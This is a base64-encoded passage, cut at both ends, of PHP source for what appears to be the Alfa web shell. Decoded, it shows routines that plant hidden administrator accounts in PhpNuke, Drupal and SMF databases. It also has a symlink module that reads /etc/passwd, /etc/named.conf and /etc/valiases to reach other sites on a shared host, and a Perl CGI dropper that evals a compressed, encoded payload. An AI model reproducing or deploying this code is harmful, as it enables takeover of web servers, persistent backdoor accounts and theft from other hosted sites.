G9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiAndGQ4JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7DQokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOw0KJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOw0KJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNSddOw0KJGFkbWluID0gJF9QT1NUWydhbGZhOCddOw0KJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzICh1aWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCx1c2VyZ3JvdXApIHZhbHVlcyhudWxsLCciLiRhZG1pbi4iJywnZTcxZjJjMzI2NTYxOTAzOGQ4MjZhMWFjNmUyYjliOGUnLCd5d3phNjhsUycsJyIuJFNRTC4iJywnNCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhOCddKSAmJiAkX1BPU1RbJ2FsZmE4J10gPT0gJ251a2UnKXsNCg0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFBocE51a2UgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwbnVrZScpLic8L3A+PGZvcm0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsXCdudWtlXCcsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDYnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiAndGQ4JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7DQokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOw0KJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOw0KJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNSddOw0KJGFkbWluID0gJF9QT1NUWydhbGZhNyddOw0KJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwcmVmaXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRoYXNoID0gbWQ1KCRwd2QpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4iX2F1dGhvcnMoYWlkLG5hbWUsZW1haWwscHdkKSB2YWx1ZXMoJyRhZG1pbicsJ0dvZCcsJyRTUUwnLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhOSddKSAmJiAkX1BPU1RbJ2FsZmE5J10gPT0gJ2RydXBhbCcpew0KDQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRHJ1cGFsIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2RydXBhbCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSxudWxsLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxcJ2RydXBhbFwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMycgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ3JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpDQogKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTYnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokZ2V0RGVzY3VpZCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyBvcmRlciBieSB1aWQgZGVzYyBsaW1pdCAwLDEiKTsNCiRnZXREZXNjdWlkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0RGVzY3VpZCk7DQokZ2V0RGVzY3VpZCA9ICRnZXREZXNjdWlkWyd1aWQnXTsNCiRnZXRkZXNjdWlkID0gJGdldERlc2N1aWQrKzsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywnc29sZXZpc2libGVAZmJpLmdvdicsJ2ZpbHRlcmVkX2h0bWwnLCcxJywnRXVyb3BlL0JlcmxpbicsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgd2hlcmUgbmFtZT0nIi4kYWRtaW4uIiciKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOw0KaWYgKCRzb2xlID09IDEpew0KJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsNCiRyZXMgPSAkc29sZXZpc1sndWlkJ107DQp9DQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiSU5TRVJUIElOVE8gdXNlcnNfcm9sZXMgKHVpZCxyaWQpIFZBTFVFUyAoJyIuJHJlcy4iJywgJzMnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCmlmKCRzb2xldmlzaWJsZSl7DQpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30NCn0NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMTAnXSkgJiYgJF9QT1NUWydhbGZhMTAnXSA9PSAnc21mJyl7DQoNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNNRiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdzbWYnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxudWxsLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLG51bGwsXCdzbWZcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkMicgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ0JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ3NtZl8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ2JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDcnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwNCiApOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7DQokbG9jYWxob3N0ID0gJF9QT1NUWydhbGZhMiddOw0KJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOw0KJHBhc3N3b3JkID0gJF9QT1NUWydhbGZhNiddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTcnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokc2V0cHdBbGcgPSBzaGExKHN0cnRvbG93ZXIoJGFkbWluKSAuICdzb2xldmlzaWJsZScpOw0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fW1lbWJlcnMgKGlkX21lbWJlcixtZW1iZXJfbmFtZSxpZF9ncm91cCxyZWFsX25hbWUscGFzc3dkLGVtYWlsX2FkZHJlc3MpIHZhbHVlcyhudWxsLCckYWRtaW4nLCcxJywnJGFkbWluJywnJHNldHB3QWxnJywnc29sZXZpc2libGVAZmJpLmdvdicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQ0KfQ0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFNYWtlUHdkKCl7DQoJaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpew0KCQlyZXR1cm4gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbC8iOw0KCX0NCgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7DQoJJHB1YmxpYyA9IGVuZCgkZG9jdW1lbnQpOw0KCWFycmF5X3BvcCgkZG9jdW1lbnQpOw0KCWFycmF5X3BvcCgkZG9jdW1lbnQpOw0KCSRwYXRoID0gaW1wbG9kZSgiLyIsICRkb2N1bWVudCkgLiAiL3t1c2VyfS8iIC4gJHB1YmxpYzsNCglyZXR1cm4gJHBhdGg7DQp9DQpmdW5jdGlvbiBhbGZhR2V0RG9tYWlucygkc3RhdGUgPSBmYWxzZSl7DQoJJHN0YXRlID0gIm5hbWVkLmNvbmYiOw0KCSRsaW5lcyA9IGFycmF5KCk7DQoJJGxpbmVzID0gX2FsZmFfZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQoJaWYoISRsaW5lcyl7DQoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOw0KCQkkc3RhdGUgPSAidmFsaWFzZXMiOw0KCQlpZighJGxpbmVzKXsNCgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7DQoJCQkkc3RhdGUgPSAibmFtZWQiOw0KCQkJaWYoISRsaW5lcyAmJiAkc3RhdGUpew0KCQkJCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQkJJHN0YXRlID0gInBhc3N3ZCI7DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuIGFycmF5KCJsaW5lcyIgPT4gJGxpbmVzLCAic3RhdGUiID0+ICRzdGF0ZSk7DQp9DQpmdW5jdGlvbiBhbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCl7DQoJJHBhcmVudCA9ICRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19VQ0VOX0RBVEFfRk9MREVSX187DQoJaWYoIUBpc19kaXIoJHBhcmVudCkpew0KCQlAbWtkaXIoJHBhcmVudCwgMDc1NSwgdHJ1ZSk7DQoJfQ0KfQ0KZnVuY3Rpb24gdWNlbnN5bWxpbmsoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDksMTApOw0KYWxmYUNyZWF0ZVBhcmVudEZvbGRlcigpOw0KQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19VQ0VOX0RBVEFfRk9MREVSX18pOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkmJigkX1BPU1RbJ2FsZmEyJ109PSdzeW1wZXJsJ3x8JF9QT1NUWyJhbGZhMiJdPT0ic3ltcHkiKSl7DQoJJHN5bXBhdGggPSBhbGZhTWFrZVB3ZCgpOw0KCUBta2RpcignY2dpYWxmYScsMDc1NSk7DQoJQGNoZGlyKCdjZ2lhbGZhJyk7DQoJYWxmYWNnaWh0YWNjZXNzKCdjZ2knKTsNCgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGFsZmFfZGF0YT0iJy5fX1VDRU5fREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbWYvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01XdjVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERCYkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0p0UmRUUmt0